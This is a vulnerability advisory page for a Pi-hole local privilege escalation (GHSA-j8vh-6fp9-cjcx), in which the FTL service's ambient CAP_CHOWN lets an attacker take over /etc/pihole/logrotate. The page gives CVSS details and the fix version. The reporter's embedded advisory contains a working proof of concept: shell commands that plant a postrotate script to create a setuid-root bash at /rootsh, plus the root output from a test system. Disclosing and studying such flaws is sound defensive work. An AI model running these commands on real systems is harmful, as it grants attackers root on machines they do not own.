Local privilege escalation in Pi-hole via ambient CAP_CHOWN
Key facts
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- None
- Attack complexity
- Low
- Impact type
- Privilege escalation
- Confidentiality · integrity · availability
- High · High · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-j8vh-6fp9-cjcx. Fix status from GitHub. Impact type from CWE-250.
Summary
pi-hole versions from 5.4 through 6.4.3 run the FTL service as the pihole user with the ambient CAP_CHOWN capability granted by its systemd unit, which is an instance of CWE-250. An attacker with code execution as the pihole user can use this capability to change ownership of root-owned files, such as /etc/pihole/logrotate, and get root code execution when the daily logrotate cron job runs.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
## Summary pihole-FTL runs as User=pihole but is granted ambient `CAP_CHOWN` by its systemd unit. `CAP_CHOWN` can be leveraged into root many ways (even self-contained in pihole scripts) one example is changing ownership of root-owned files to its own username, editing them, changing ownership back to root, waiting for their contents to be trusted by something privileged. Any code execution in the pihole service context can get a root shell via the daily logrotate cron as an example. Which escalates the other code-exec-as-pihole bugs (disclosed separately) to root exec. `ProtectSystem=full` is set in the systemd unit file, but is not as extensive as `ProtectSystem=strict`. This leaves a lot of files/paths open to taking advantage of using these capabilities. ## Details The systemd unit grants CAP_CHOWN in AmbientCapabilities, so it is present in the effective set of FTL and inherited by children. `advanced/Templates/pihole-FTL.systemd:19-20` ```ini User=pihole AmbientCapabilities=CAP_NET_BIND_SERVICE CAP_NET_RAW CAP_NET_ADMIN CAP_SYS_NICE CAP_IPC_LOCK CAP_CHOWN CAP_SYS_TIME ``` For one example of turning that into root code execution, Logrotate has a `postrotate` option that runs code after rotating the log (usually to signal service to write to new log file). Logrotate requires the file be root owned and not writeable by any other groups which we can satisfy. `/etc/pihole/logrotate` is executed as root by the daily cron (`pihole flush once` -> `logrotate --force` -> `/etc/pihole/logrotate`, `advanced/Scripts/piholeLogFlush.sh`), and also `@reboot`. For a self-contained pihole example, I did the following: 1. chown pihole:pihole /etc/pihole/logrotate 2. Edit /etc/pihole/logrotate to add a postrotate script 3. chown root:root /etc/pihole/logrotate A plain pihole login shell (ssh or sudo -u pihole) does not have CAP_CHOWN. This requires running under the pihole-FTL process or one of its child processes. ## PoC Run in a context that has CAP_CHOWN (any FTL-child code exec like the separately reported issues). I am writing to /rootsh here as a demonstration of the `ProtectSystem=full` not being comprehensive. Could also write it to /etc/pihole/ though which is explicitly allowed. ```sh mv /etc/pihole/logrotate /etc/pihole/logrotate.save printf '/var/log/pihole/pihole.log {\n postrotate\n id > /tmp/root-proof; cp /bin/bash /rootsh; chmod 4755 /rootsh\n endscript\n}' > /etc/pihole/logrotate chmod 644 /etc/pihole/logrotate chown root:root /etc/pihole/logrotate ``` Or one-line which seems to be the trend now: ```sh mv /etc/pihole/logrotate /etc/pihole/logrotate.save && printf '/var/log/pihole/pihole.log {\n postrotate\n id > /tmp/root-proof; cp /bin/bash /rootsh; chmod 4755 /rootsh\n endscript\n}' > /etc/pihole/logrotate && chmod 644 /etc/pihole/logrotate && chown root:root /etc/pihole/logrotate ``` Then you would wait for the logrotate cron job to run (midnight or a reboot). To run it once immediately to see the impact: ``` sudo pihole flush once cat /tmp/root-proof ls -la /rootsh ``` On my test system: ``` k@devbox:~$ cat /tmp/root-proof uid=0(root) gid=0(root) groups=0(root) k@devbox:~$ ls -la /rootsh -rwsr-xr-x 1 root root 1540520 Jul 4 10:39 /rootsh ``` I confirmed this all live on an Ubuntu26 system with the latest pihole: ``` k@devbox:~$ pihole version Core version is v6.4.2 (Latest: v6.4.2) Web version is v6.5.1 (Latest: v6.5.1) FTL version is v6.6.2 (Latest: v6.6.2) ``` ## Impact Local privilege escalation to root. Any code execution in the pihole-FTL service context (including separately-reported config -> exec bugs reachable via the config API, and unauthenticated when no admin password is set) is elevated from the unprivileged pihole user to full root. Affected: Core v5.4 – v6.4.2 (current). CAP_CHOWN was granted to the non-root pihole-FTL binary via setcap in v5.4 (a1ee7d92) and moved into the systemd unit's AmbientCapabilities in v5.15 (81927334). It remains in the current unit. Please let me know if you have any questions or I can do anything to help. Should this lead to a CVE/advisory I would appreciate credit as Keith Linneman (LinnemanLabs). Thanks Keith
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | pi-hole | >= 5.4, <= 6.4.3 | 6.5 | Patch available | GHSA-j8vh-6fp9-cjcx |
- pi-hole Vendor— Affected >= 5.4, <= 6.4.3 Fixed in 6.5 Patch available GHSA-j8vh-6fp9-cjcx
Remediation
Upgrade pi-hole to version 6.5, which is listed as the fixed version.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-j8vh-6fp9-cjcx pi-hole Fixed in 6.5 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-j8vh-6fp9-cjcx
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences